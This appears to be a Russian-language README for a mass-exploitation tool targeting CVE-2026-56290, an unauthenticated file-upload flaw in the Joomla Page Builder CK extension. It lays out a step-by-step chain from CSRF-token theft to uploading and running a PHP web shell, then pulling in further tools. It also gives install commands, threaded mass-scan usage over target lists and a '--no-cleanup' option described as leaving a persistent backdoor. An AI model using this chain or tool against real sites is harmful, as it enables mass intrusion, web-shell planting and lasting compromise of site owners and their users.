
📤 Фреймворк массовой эксплуатации для CVE-2026-56290 — Page Builder CK Joomla неавторизованная загрузка файлов до RCE
CVE-2026-56290 — это критическая уязвимость в Page Builder CK (com_pagebuilderck), популярном расширении для построения страниц Joomla. Метод контроллера browse.ajaxAddPicture принимает неаутентифицированные загрузки файлов с управляемым пользователем путем назначения, что позволяет злоумышленникам записывать произвольные PHP-файлы в веб-доступные каталоги.
// browse.php controller — NO authentication check
function ajaxAddPicture() {
$input = JFactory::getApplication()->input;
$file = $input->files->get('file', null); // ← user-controlled file
$path = trim($input->get('path', '')); // ← user-controlled path, only trim()!
// ... uploads file to $path without validating the destination
}
Параметр path проходит только trim() санитацию — никакого белого списка, проверки обхода каталогов или шлюза аутентификации. В сочетании с CSRF-токеном, который доступен публично на любой странице Joomla, злоумышленники могут удаленно загружать PHP-шеллы в любой каталог с правом записи.
| Вектор | Серьезность | Воздействие |
|---|---|---|
| Неаутентифицированная загрузка файла | 9.8 (Критический) | Произвольное выполнение PHP-кода |
| Получение CSRF-токена | 5.3 (Средний) | Обеспечивает цепочку загрузки |
| Раскрытие информации | 5.3 (Средний) | Определение версии расширения |
1. ЗАПРОС главной страницы Joomla → получить CSRF-токен (hex32 + значение "1")
2. POST-запрос на загрузку файла → task=browse.ajaxAddPicture&{token}=1
3. PHP-шелл помещается в → media/com_pagebuilderck/gfonts/shell.php
4. GET-запрос к URL шелла → код выполняется, RCE подтвержден
5. POST f=@file на шелл → загрузка дополнительных инструментов
6. GET ?cleanup=1 → шелл самоуничтожается
| Версия Page Builder CK | Статус | Примечания |
|---|---|---|
| 3.1.1 и ниже | 🔴 Уязвимо | Подтверждена неаутентифицированная загрузка |
| 3.4.10 и ниже | 🔴 Уязвимо | Расширенный диапазон по результатам анализа |
| 3.5.10 и ниже | 🔴 Уязвимо | Возможно существуют исправленные варианты |
| > 3.5.10 | 🟢 Возможно исправлено | Проверить по manifest.xml |
Примечание: Версия определяется из файла манифеста Joomla по адресу
/administrator/manifests/files/com_pagebuilderck.xml. Если манифест недоступен, сканер по умолчанию считает цель потенциально уязвимой.
🔍 Разведка
|
💀 Эксплуатация
|
# Клонирование репозитория
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit
# Установка зависимостей
pip install -r requirements.txt
# Проверка
python cve_2026_56290.py --help
requests>=2.28.0
urllib3>=1.26.0
CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator
-t, --target URL одиночной цели
-f, --file Файл с URL целей (по одному на строку, # для комментариев)
-o, --output Выходной TXT-файл в реальном времени (по умолчанию: cve-2026-56290_live.txt)
--json Путь к JSON-отчету (по умолчанию: cve-2026-56290_report.json)
--threads Количество параллельных потоков (по умолчанию: 20)
--timeout Таймаут запроса в секундах (по умолчанию: 15)
--no-cleanup Оставить шеллы на цели (постоянный бэкдор)
-v, --verbose Подробный вывод обнаружения конечных точек
--known-endpoint Пропустить обнаружение: task,file_param,folder_param
# Одиночная цель
python cve_2026_56290.py -t https://target.com
# Массовое сканирование из файла
python cve_2026_56290.py -f targets.txt
# Пользовательский вывод + подробный
python cve_2026_56290.py -f targets.txt -o results.txt -v
# Оставить шеллы (постоянный бэкдор)
python cve_2026_56290.py -t https://target.com --no-cleanup
# Пропустить обнаружение с известной конечной точкой
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# комментарии и пустые строки игнорируются
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
────────────────────────────────────────────────────────────
CVE-2026-56290 | 5 целей | 20 потоков | очистка=да
TXT в реальном времени: live_results.txt
2026-07-04 15:30:00
────────────────────────────────────────────────────────────